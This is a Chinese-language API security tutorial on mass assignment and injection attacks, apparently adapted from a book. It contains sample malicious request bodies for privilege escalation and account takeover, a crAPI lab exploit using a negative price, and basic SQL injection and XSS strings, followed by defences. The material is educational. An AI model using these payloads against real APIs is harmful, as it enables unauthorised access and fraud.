API安全:大规模赋值与注入攻击解析
1. 大规模赋值漏洞概述
当消费者能够发送更新或覆盖服务器端变量的请求时,API 就容易受到大规模赋值漏洞的影响。如果 API 接受客户端输入而不进行过滤或清理,攻击者就可以更新他们本不应与之交互的对象。例如,银行 API 可能允许用户更新与其账户关联的电子邮件地址,但大规模赋值漏洞可能会让用户发送一个同时更新其账户余额的请求。
2. 寻找大规模赋值目标
- 常见位置 :接受和处理客户端输入的 API 请求是发现和利用大规模赋值漏洞的常见位置,如账户注册、资料编辑、用户管理和客户端管理等功能。
- 账户注册 :这可能是寻找大规模赋值漏洞最频繁的地方,因为它可能允许你注册为管理员用户。例如,正常的账户注册请求如下:
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"password":"Password1!"
}
如果你截获了这个请求,可以尝试添加额外的值。比如,通过添加一个 API 提供者可能用于识别管理员的变量,将账户升级为管理员角色:
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"admin": true,
"password":"Password1!"
}
如果 API 提供者使用这个变量在后端更新账户权限并接受客户端的额外输入,这个请求将把正在注册的账户变成管理员级别的账户。
- 对组织的未授权访问 :大规模赋值攻击不仅仅局限于尝试成为管理员,还可以用于获得对其他组织的未授权访问。例如,在请求中添加一个 “org” 变量,并将其值设置为攻击位置,然后在 Burp Suite 中进行模糊测试:
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"org": "§CompanyA§",
"password":"Password1!"
}
如果你能将自己分配到其他组织,就可能获得对该组织资源的未授权访问。进行此类攻击时,需要知道请求中用于识别公司的名称或 ID。如果 "org" 值是一个数字,可以像测试 BOLA 一样对其值进行暴力破解,观察 API 的响应。
3. 寻找大规模赋值变量
- 在文档中查找变量 :首先在 API 文档中寻找敏感变量,特别是关注特权操作的部分。文档可以很好地指示 JSON 对象中包含哪些参数。例如,创建标准用户账户的请求可能如下:
POST /api/create/user
Token: LowPriv-User
--snip--
{
"username": "hapi_hacker",
"pass": "ff7ftw"
}
创建管理员账户的请求可能如下:
POST /api/admin/create/user
Token: AdminToken
--snip--
{
"username": "adminthegreat",
"pass": "bestadminpw",
"admin": true
}
注意管理员请求是提交到管理员端点,使用管理员令牌,并包含参数 "admin": true。如果应用程序处理请求不当,我们可以通过在用户账户请求中添加参数 "admin": true 来创建管理员账户。
- 模糊测试未知变量 :在 Web 应用程序中执行操作,截获请求并定位其中的额外头部或参数。例如:
POST /create/user
--snip--
{
"username": "hapi_hacker",
"pass": "ff7ftw",
"uam": 1,
"mfa": true,
"account": 101
}
当你不理解某个参数的用途时,可以进行模糊测试。尝试将 uam 设置为零,mfa 设置为 false,account 设置为 0 到 101 之间的每个数字,观察提供者的响应。还可以尝试各种输入,将从端点收集的参数构建成字典,然后在请求中包含这些参数进行模糊测试。
- 盲大规模赋值攻击 :如果在上述位置找不到变量名,可以进行盲大规模赋值攻击。发送一个包含许多可能变量的请求,例如:
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
"admin": true,
"admin":1,
"isadmin": true,
"role":"admin",
"role":"administrator",
"user_priv": "admin",
"password":"Password1!"
}
如果 API 存在漏洞,它可能会忽略无关变量,接受与预期名称和格式匹配的变量。
4. 使用 Arjun 和 Burp Suite Intruder 自动化大规模赋值攻击
- Arjun 参数模糊测试 :可以手动更改 API 请求或使用 Arjun 等工具进行参数模糊测试。以下是一个 Arjun 请求示例:
$ arjun --headers "Content-Type: application/json]" -u http://vulnhost.com/api/register -m JSON --include='{$arjun$}'
Arjun 将从字典中发送一系列包含各种参数的请求到目标主机,然后根据响应长度和响应代码的偏差缩小可能的参数范围,并提供有效参数列表。如果遇到速率限制问题,可以使用 Arjun 的 --stable 选项减慢扫描速度。
- Burp Suite Intruder 循环测试 :许多 API 会阻止在单个请求中发送过多参数,可能会返回 400 范围内的 HTTP 状态码。在这种情况下,可以在 Burp Suite 的 Intruder 中设置请求,将可能的大规模赋值变量作为有效负载,通过多个请求循环测试。例如:
POST /api/v1/register
--snip--
{
"username":"hAPI_hacker",
"email":"hapi@hacker.com",
§"admin": true§,
"password":"Password1!"
}
5. 结合 BFLA 和大规模赋值攻击
如果发现了一个允许更新其他用户账户的 BFLA 漏洞,可以将其与大规模赋值攻击结合使用。例如,用户 Ash 发现了一个 BFLA 漏洞,但该漏洞仅允许他编辑基本资料信息,如用户名、地址、城市和地区:
PUT /api/v1/account/update
Token:UserA-Token
--snip--
{
"username": "Ash",
"address": "123 C St",
"city": "Pallet Town",
"region": "Kanto"
}
Ash 可以通过执行大规模赋值攻击,结合分析其他 GET 请求中发现的电子邮件和多因素身份验证 (MFA) 设置参数,来获得对另一个用户 Brock 账户的访问权限。例如,发送以下请求:
PUT /api/v1/account/update
Token:UserA-Token
--snip--
{
"username": "Brock",
"address": "456 Onyx Dr",
"city": "Pewter Town",
"region": "Kanto",
"email": "ash@email.com",
"mfa": false
}
由于 Ash 不知道 Brock 的当前密码,他可以利用 API 的密码重置流程,通过 PUT 或 POST 请求发送到 /api/v1/account/reset,将临时密码发送到他自己的电子邮件,从而获得对 Brock 账户的完全访问权限。
6. 大规模赋值攻击实验:更改在线商店商品价格
- 确定测试请求 :在 crAPI 的 Postman 集合中,有几个请求似乎允许客户端输入,如:
- POST /identity/api/auth/signup
- POST /workshop/api/shop/orders
- POST /workshop/api/merchant/contact_mechanic
可以在决定添加哪个变量后对这些请求进行测试。
- 寻找敏感变量 :在对 /workshop/api/shop/products 端点的 GET 请求中,可以找到一个名为 “credit” 的 JSON 变量,这是一个值得操作的有趣变量。但不能使用 GET 请求更改信用值,因此在 Burp Suite 的 Intruder 中对该端点的其他请求方法进行扫描。
- 测试请求方法 :在 Intruder 中设置攻击位置为请求方法,更新有效负载为 PUT、POST、HEAD、DELETE、CONNECT、PATCH 和 OPTIONS 等请求方法。启动攻击后,发现 crAPI 对受限方法返回 405 Method Not Allowed 状态码,而 POST 请求返回 400 Bad Request,这表明 crAPI 期望 POST 请求包含不同的有效负载。
- 利用漏洞创建商品并更新信用 :根据响应信息,猜测该请求可能是供 crAPI 管理员更新商店使用的。由于该请求不受管理员限制,可能存在大规模赋值和 BFLA 组合漏洞。尝试创建一个新商品并同时更新信用:
POST /workshop/api/shop/products HTTP/1.1
Host: 192.168.195.130:8888
Authorization: Bearer UserA-Token
{
"name":"TEST1",
"price":25,
"image_url":"string",
"credit":1337
}
该请求成功返回 HTTP 200 OK 响应,但信用未受影响。购买该商品时,会从信用中扣除相应金额。
- 利用漏洞获取额外信用 :作为 crAPI 的消费者,本不应能够添加商品或调整价格,但可以利用这个漏洞给自己提供一个极端的商品折扣,甚至将价格设置为负数:
POST /workshop/api/shop/products HTTP/1.1
Host: 192.168.195.130:8888
Authorization: Bearer UserA-Token
{
"name":"MassAssignment SPECIAL",
"price":-5000,
"image_url":"https://example.com/chickendinner.jpg"
}
该请求成功返回 HTTP 200 OK 响应,购买该商品时,商店会支付 5000 信用,从而增加可用余额。
7. 注入攻击概述
API 请求如果容易受到注入攻击,允许你发送的输入将直接由 API 的支持技术(如 Web 应用程序、数据库或服务器上运行的操作系统)执行,绕过输入验证措施。常见的注入攻击包括数据库注入(如 SQL 注入、NoSQL 注入)、跨站脚本攻击 (XSS)、跨 API 脚本攻击 (XAS) 和命令注入等。
8. 发现注入漏洞
- 寻找注入点 :在使用 API 注入有效负载之前,必须发现 API 接受用户输入的位置。可以通过模糊测试并分析收到的响应来发现这些注入点。应尝试对所有潜在输入进行注入攻击,特别是以下位置:
- API 密钥
- 令牌
- 头部
- URL 中的查询字符串
- POST/PUT 请求中的参数
- 模糊测试方法 :模糊测试的方法取决于你对目标的了解程度。如果不担心产生干扰,可以发送各种可能在许多支持技术中引发问题的模糊输入。但对 API 了解得越多,攻击效果越好。如果你知道应用程序使用的数据库、Web 服务器运行的操作系统或应用程序编写的编程语言,就可以提交针对这些特定技术检测漏洞的有效负载。
- 分析响应 :发送模糊测试请求后,寻找包含详细错误消息或其他请求处理失败的响应。特别要注意任何表明你的有效负载绕过了安全控制并被解释为命令的迹象,这可能是明显的错误消息,也可能是处理请求时间稍微增加等微妙迹象。甚至可能会收到完整的详细错误转储,提供有关主机的大量详细信息。
- 测试类似端点 :当发现一个漏洞时,要确保对每个类似端点进行测试。如果在 /file/upload 端点发现了弱点,所有具有上传功能的端点,如 /image/upload 和 /account/upload,可能都存在相同的问题。
以下是一个简单的 mermaid 流程图,展示发现注入漏洞的流程:
graph TD;
A[开始] --> B[寻找 API 接受用户输入的位置];
B --> C[进行模糊测试];
C --> D[分析响应];
D --> E{是否发现漏洞};
E -- 是 --> F[测试类似端点];
E -- 否 --> C;
F --> G[结束];
综上所述,大规模赋值和注入攻击是 API 安全中需要重点关注的问题。通过了解这些攻击的原理和方法,以及相应的防御措施,可以提高 API 的安全性,保护敏感数据和系统资源。在实际应用中,要始终保持警惕,及时发现和修复潜在的安全漏洞。
API安全:大规模赋值与注入攻击解析
9. 不同类型注入攻击介绍
| 攻击类型 | 目标技术 | 攻击原理 |
|---|---|---|
| SQL 注入 | SQL 数据库 | 利用 SQL 数据库的漏洞,通过构造恶意的 SQL 语句,绕过输入验证,执行非法的数据库操作,如获取敏感数据、修改数据等。 |
| NoSQL 注入 | NoSQL 数据库 | 针对 NoSQL 数据库的特点,构造恶意输入,绕过验证,对 NoSQL 数据库进行非法操作。 |
| 跨站脚本攻击 (XSS) | 用户浏览器 | 将恶意脚本插入到网页中,当用户访问包含该脚本的网页时,脚本会在用户的浏览器中运行,可能导致用户信息泄露、会话劫持等问题。 |
| 跨 API 脚本攻击 (XAS) | 第三方应用 | 类似于 XSS,但利用 API 所摄取的第三方应用,通过构造恶意请求,影响第三方应用的正常运行。 |
| 命令注入 | 服务器操作系统 | 向 Web 服务器操作系统发送恶意的操作系统命令,绕过输入验证,执行非法的系统操作,如获取系统权限、执行恶意脚本等。 |
10. 常见注入攻击示例
- SQL 注入示例
假设存在一个简单的登录表单,其 SQL 查询语句可能如下:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
攻击者可以通过在用户名或密码字段中输入恶意的 SQL 语句来绕过验证。例如,在用户名输入框中输入 ' OR '1'='1 ,密码随意输入,构造的 SQL 语句将变为:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '随意输入的密码';
由于 '1'='1' 始终为真,该查询将返回所有用户记录,攻击者可以借此绕过登录验证。
- XSS 攻击示例
假设一个网站有一个留言板,允许用户输入留言内容并显示在页面上。攻击者可以在留言内容中输入以下恶意脚本:
<script>alert('XSS 攻击成功!')</script>
当其他用户访问该留言板时,浏览器会执行该脚本,弹出提示框,可能会导致用户信息泄露或执行其他恶意操作。
11. 注入攻击的防御措施
为了防止 API 受到注入攻击,可以采取以下防御措施:
- 输入验证 :对所有用户输入进行严格的验证和过滤,确保输入符合预期的格式和范围。可以使用正则表达式、白名单等方法进行验证。
- 参数化查询 :在使用数据库查询时,使用参数化查询,避免直接将用户输入嵌入到 SQL 语句中。例如,在 Python 中使用 sqlite3 模块进行数据库操作时,可以这样使用参数化查询:
import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
username = 'testuser'
password = 'testpassword'
cursor.execute('SELECT * FROM users WHERE username =? AND password =?', (username, password))
results = cursor.fetchall()
conn.close()
- 输出编码 :在将用户输入显示在页面上时,对输出进行编码,将特殊字符转换为 HTML 实体,防止恶意脚本在浏览器中执行。例如,在 Python 中可以使用
html.escape函数进行编码:
import html
user_input = '<script>alert("XSS")</script>'
encoded_input = html.escape(user_input)
print(encoded_input)
- 安全配置 :对服务器和应用程序进行安全配置,限制不必要的权限和功能,及时更新软件版本,修复已知的安全漏洞。
12. 注入攻击检测工具
- Burp Suite :一款功能强大的 Web 应用程序安全测试工具,可以用于发现和分析各种注入漏洞。可以通过拦截和修改请求、进行模糊测试等方式来检测漏洞。操作步骤如下:
- 启动 Burp Suite,配置浏览器代理,使浏览器的请求通过 Burp Suite 进行拦截。
- 在浏览器中访问目标 API,Burp Suite 会拦截请求和响应。
- 选择需要测试的请求,右键点击选择发送到 Intruder 或 Repeater。
- 在 Intruder 中设置攻击类型和有效负载,进行模糊测试;在 Repeater 中手动修改请求,观察响应。
- OWASP ZAP :开源的 Web 应用程序安全扫描器,可以自动检测各种注入漏洞。操作步骤如下:
- 启动 OWASP ZAP,配置目标 URL。
- 点击“开始扫描”按钮,ZAP 会自动对目标 API 进行扫描。
- 扫描完成后,查看扫描报告,分析发现的漏洞。
以下是一个 mermaid 流程图,展示注入攻击防御的流程:
graph TD;
A[开始] --> B[输入验证];
B --> C[参数化查询];
C --> D[输出编码];
D --> E[安全配置];
E --> F[结束];
13. 总结
API 的大规模赋值和注入攻击是严重的安全威胁,可能导致敏感数据泄露、系统被入侵等问题。通过了解这些攻击的原理、发现方法和防御措施,可以有效地提高 API 的安全性。在实际的 API 开发和使用过程中,要始终保持安全意识,定期进行安全测试,及时发现和修复潜在的安全漏洞,确保 API 的稳定运行和数据安全。同时,合理使用安全检测工具可以帮助我们更高效地发现和解决安全问题。
超级会员免费看

17

被折叠的 条评论
为什么被折叠?



